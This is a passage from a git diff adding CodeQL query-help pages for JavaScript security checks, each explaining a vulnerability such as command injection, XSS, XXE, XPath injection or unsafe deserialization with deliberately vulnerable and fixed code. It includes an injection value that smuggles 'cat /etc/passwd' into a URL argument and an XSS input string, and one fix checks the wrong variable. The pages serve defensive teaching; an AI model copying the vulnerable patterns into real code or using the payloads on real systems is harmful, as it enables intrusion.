`"/public/"` and the array results in `"/public/../,/../secret.txt"`, which the `resolve`-call converts to `"/secret.txt"`. + +To fix the sanitizer, check that the request parameter is a string, and not an array: + + +```javascript +var app = require("express")(), + path = require("path"); + +app.get("/user-files", function(req, res) { + var file = req.param("file"); + if (typeof path !== 'string' || file.indexOf("..") !== -1) { + // BAD + // forbid paths outside the /public directory + res.status(400).send("Bad request"); + } else { + var absolute = path.resolve("/public/" + file); + console.log("Sending file: %s", absolute); + res.sendFile(absolute); + } +}); + +``` + +## References +* Node.js API: [querystring](https://nodejs.org/api/querystring.html). +* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDeserialization.md b/docs/language/query-help/javascript/UnsafeDeserialization.md new file mode 100644 index 00000000000..6e5a5f28aae --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeDeserialization.md @@ -0,0 +1,52 @@ +# Deserialization of user-controlled data + +``` +ID: js/unsafe-deserialization +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions. + + +## Example +The following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe. + + +```javascript +const app = require("express")(), + jsyaml = require("js-yaml"); + +app.get("load", function(req, res) { + let data = jsyaml.load(req.params.data); + // ... +}); + +``` +Using the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability. + + +```javascript +const app = require("express")(), + jsyaml = require("js-yaml"); + +app.get("load", function(req, res) { + let data = jsyaml.safeLoad(req.params.data); + // ... +}); + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md new file mode 100644 index 00000000000..ea56a720e5c --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md @@ -0,0 +1,71 @@ +# Unsafe dynamic method access + +``` +ID: js/unsafe-dynamic-method-access +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql) + +Calling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property. + + +## Recommendation +Avoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on. + + +## Example +In the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`. + + +```javascript +// API methods +function play(data) { + // ... +} +function pause(data) { + // ... +} + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + window[message.name](message.payload); +}); + +``` +Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`. + + +```javascript +// API methods +let api = { + play: function(data) { + // ... + }, + pause: function(data) { + // ... + } +}; + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + if (!api.hasOwnProperty(message.name)) { + return; + } + api[message.name](message.payload); +}); + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties). +* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md new file mode 100644 index 00000000000..90e9d4b033e --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md @@ -0,0 +1,59 @@ +# Unsafe expansion of self-closing HTML tag + +``` +ID: js/unsafe-html-expansion +Kind: problem +Severity: warning +Precision: very-high +Tags: correctness security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/UnsafeHtmlExpansion.ql) + +Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `
` to `
` may in fact cause cross-site scripting vulnerabilities. + + +## Recommendation +Use a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML. + + +## Example +The following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag. + + +```javascript +function expandSelfClosingTags(html) { + var rxhtmlTag = /<(?!img|area)(([a-z][^\w\/>]*)[^>]*)\/>/gi; + return html.replace(rxhtmlTag, "<$1>"); // BAD +} + +``` +While it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe. + +However, the function is not safe. As an example, consider the following string: + + +```html +
+ +``` +When the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML. + + +```html +
+"/> + +``` + +## References +* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/) +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md new file mode 100644 index 00000000000..4009800a236 --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md @@ -0,0 +1,57 @@ +# Unsafe jQuery plugin + +``` +ID: js/unsafe-jquery-plugin +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 frameworks/jquery + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/UnsafeJQueryPlugin.ql) + +Library plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction. + + +## Recommendation +Document all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended. + + +## Example +The following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector. + + +```javascript +jQuery.fn.copyText = function(options) { + // BAD may evaluate `options.sourceSelector` as HTML + var source = jQuery(options.sourceSelector), + text = source.text(); + jQuery(this).text(text); +} + +``` +This is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`. + +Instead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector: + + +```javascript +jQuery.fn.copyText = function(options) { + // GOOD may not evaluate `options.sourceSelector` as HTML + var source = jQuery.find(options.sourceSelector), + text = source.text(); + jQuery(this).text(text); +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/). +* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md new file mode 100644 index 00000000000..390abbfaa6d --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md @@ -0,0 +1,53 @@ +# Unsafe shell command constructed from library input + +``` +ID: js/shell-command-constructed-from-input +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UnsafeShellCommandConstruction.ql) + +Dynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. + + +## Recommendation +If possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell. + +Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters do not alter the shell command unexpectedly. + + +## Example +The following example shows a dynamically constructed shell command that downloads a file from a remote URL. + + +```javascript +var cp = require("child_process"); + +module.exports = function download(path, callback) { + cp.exec("wget " + path, callback); +} + +``` +The shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell. + +Even worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`. + +To avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell: + + +```javascript +var cp = require("child_process"); + +module.exports = function download(path, callback) { + cp.execFile("wget", [path], callback); +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md new file mode 100644 index 00000000000..a56a81f8a2b --- /dev/null +++ b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md @@ -0,0 +1,112 @@ +# Unvalidated dynamic method call + +``` +ID: js/unvalidated-dynamic-method-call +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-754 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql) + +JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack. + +For example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime. + +Another, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception. + + +## Recommendation +It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object. + +If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on. + + +## Example +In the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument. + + +```javascript +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + let action = actions[req.params.action]; + // BAD: `action` may not be a function + res.end(action(req.params.payload)); +}); + +``` +The intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error. + +The easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up. + + +```javascript +var express = require('express'); +var app = express(); + +var actions = new Map(); +actions.put("play", function play(data) { + // ... +}); +actions.put("pause", function pause(data) { + // ... +}); + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.has(req.params.action)) { + let action = actions.get(req.params.action); + // GOOD: `action` is either the `play` or the `pause` function from above + res.end(action(req.params.payload)); + } else { + res.end("Unsupported action."); + } +}); + +``` +If `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name: + + +```javascript +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.hasOwnProperty(req.params.action)) { + let action = actions[req.params.action]; + if (typeof action === 'function') { + // GOOD: `action` is an own method of `actions` + res.end(action(req.params.payload)); + return; + } + } + res.end("Unsupported action."); +}); + +``` + +## References +* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service). +* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). +* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype). +* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md new file mode 100644 index 00000000000..b13d05e6390 --- /dev/null +++ b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md @@ -0,0 +1,37 @@ +# Useless regular-expression character escape + +``` +ID: js/useless-regexp-character-escape +Kind: problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/UselessRegExpCharacterEscape.ql) + +When a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\n` in a string literal corresponds to a single `newline` character, and not the `\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program. + +The set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal. + + +## Recommendation +Ensure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal. + + +## Example +The following example code checks that a string is `"my-marker"`, possibly surrounded by white space: + + +```javascript +let regex = new RegExp('(^\s*)my-marker(\s*$)'), + isMyMarkerText = regex.test(text); + +``` +However, the check does not work properly for white space as the two `\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `"smy-markers"` instead of `" my-marker "`. Address these shortcomings by either using a regular expression literal (`/(^\s*)my-marker(\s*$)/`), or by adding extra backslashes (`'(^\\s*)my-marker(\\s*$)'`). + + +## References +* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping) +* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation) +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessUseOfCat.md b/docs/language/query-help/javascript/UselessUseOfCat.md new file mode 100644 index 00000000000..7e80c7ae41e --- /dev/null +++ b/docs/language/query-help/javascript/UselessUseOfCat.md @@ -0,0 +1,51 @@ +# Unnecessary use of `cat` process + +``` +ID: js/unnecessary-use-of-cat +Kind: problem +Severity: error +Precision: high +Tags: correctness security maintainability + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UselessUseOfCat.ql) + +Using the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API. + +The use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities. + + +## Recommendation +Use `fs.readFile` or `fs.readFileSync` to read files from the file system. + + +## Example +The following example shows code that reads a file using `cat`: + + +```javascript +var child_process = require('child_process'); + +module.exports = function (name) { + return child_process.execSync("cat " + name).toString(); +}; + +``` +The code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen. + +The `fs.readFile` API should be used to avoid these potential issues: + + +```javascript +var fs = require('fs'); + +module.exports = function (name) { + return fs.readFileSync(name).toString(); +}; + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Node.js: [File System API](https://nodejs.org/api/fs.html). +* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XmlBomb.md b/docs/language/query-help/javascript/XmlBomb.md new file mode 100644 index 00000000000..991466c94e4 --- /dev/null +++ b/docs/language/query-help/javascript/XmlBomb.md @@ -0,0 +1,62 @@ +# XML internal entity expansion + +``` +ID: js/xml-bomb +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-776 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-776/XmlBomb.ql) + +Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion. + +In XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically. + +If untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack. + + +## Recommendation +The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed. + + +## Example +The following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default: + + +```javascript +const app = require("express")(), + expat = require("node-expat"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + parser = new expat.Parser(); + parser.on("startElement", handleStart); + parser.on("text", handleText); + parser.write(xmlSrc); +}); + +``` +At the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`: + + +```javascript +const app = require("express")(), + sax = require("sax"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + parser = sax.parser(true); + parser.onopentag = handleStart; + parser.ontext = handleText; + parser.write(xmlSrc); +}); + +``` + +## References +* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs). +* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx). +* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XpathInjection.md b/docs/language/query-help/javascript/XpathInjection.md new file mode 100644 index 00000000000..72f34bdb259 --- /dev/null +++ b/docs/language/query-help/javascript/XpathInjection.md @@ -0,0 +1,65 @@ +# XPath injection + +``` +ID: js/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-643/XpathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression. + + +## Example +In this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + + +```javascript +const express = require('express'); +const xpath = require('xpath'); +const app = express(); + +app.get('/some/route', function(req, res) { + let userName = req.param("userName"); + + // BAD: Use user-provided data directly in an XPath expression + let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()"); + badXPathExpr.select({ + node: root + }); +}); + +``` +Instead, embed the user input using the variable replacement mechanism offered by `xpath`: + + +```javascript +const express = require('express'); +const xpath = require('xpath'); +const app = express(); + +app.get('/some/route', function(req, res) { + let userName = req.param("userName"); + + // GOOD: Embed user-provided data using variables + let goodXPathExpr = xpath.parse("//users/user[login/text()=$userName]/home_dir/text()"); + goodXPathExpr.select({ + node: root, + variables: { userName: userName } + }); +}); + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* npm: [xpath](https://www.npmjs.com/package/xpath). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xss.md b/docs/language/query-help/javascript/Xss.md new file mode 100644 index 00000000000..96bdf54de2f --- /dev/null +++ b/docs/language/query-help/javascript/Xss.md @@ -0,0 +1,43 @@ +# Client-side cross-site scripting + +``` +ID: js/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/Xss.ql) + +Directly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting. + + +```javascript +function setLanguageOptions() { + var href = document.location.href, + deflt = href.substring(href.indexOf("default=")+8); + document.write(""); + document.write(""); +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XssThroughDom.md b/docs/language/query-help/javascript/XssThroughDom.md new file mode 100644 index 00000000000..f469cc8a7d2 --- /dev/null +++ b/docs/language/query-help/javascript/XssThroughDom.md @@ -0,0 +1,53 @@ +# DOM text reinterpreted as HTML + +``` +ID: js/xss-through-dom +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/XssThroughDom.ql) + +Extracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability. + +A webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below. + + +## Example +The following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated. + + +```javascript +$("button").click(function () { + var target = $(this).attr("data-target"); + $(target).hide(); +}); + +``` +However, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitary JavaScript. + +The above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack. + + +```javascript +$("button").click(function () { + var target = $(this).attr("data-target"); + $.find(target).hide(); +}); + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xxe.md b/docs/language/query-help/javascript/Xxe.md new file mode 100644 index 00000000000..5529c85fa3a --- /dev/null +++ b/docs/language/query-help/javascript/Xxe.md @@ -0,0 +1,53 @@ +# XML external entity expansion + +``` +ID: js/xxe +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 external/cwe/cwe-827 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-611/Xxe.ql) + +Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data. + + +## Recommendation +The easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken. + + +## Example +The following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`: + + +```javascript +const app = require("express")(), + libxml = require("libxmljs"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + doc = libxml.parseXml(xmlSrc, { noent: true }); +}); + +``` +To guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/latest#unescape) or [he](https://github.com/mathiasbynens/he). + + +```javascript +const app = require("express")(), + libxml = require("libxmljs"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + doc = libxml.parseXml(xmlSrc); +}); + +``` + +## References 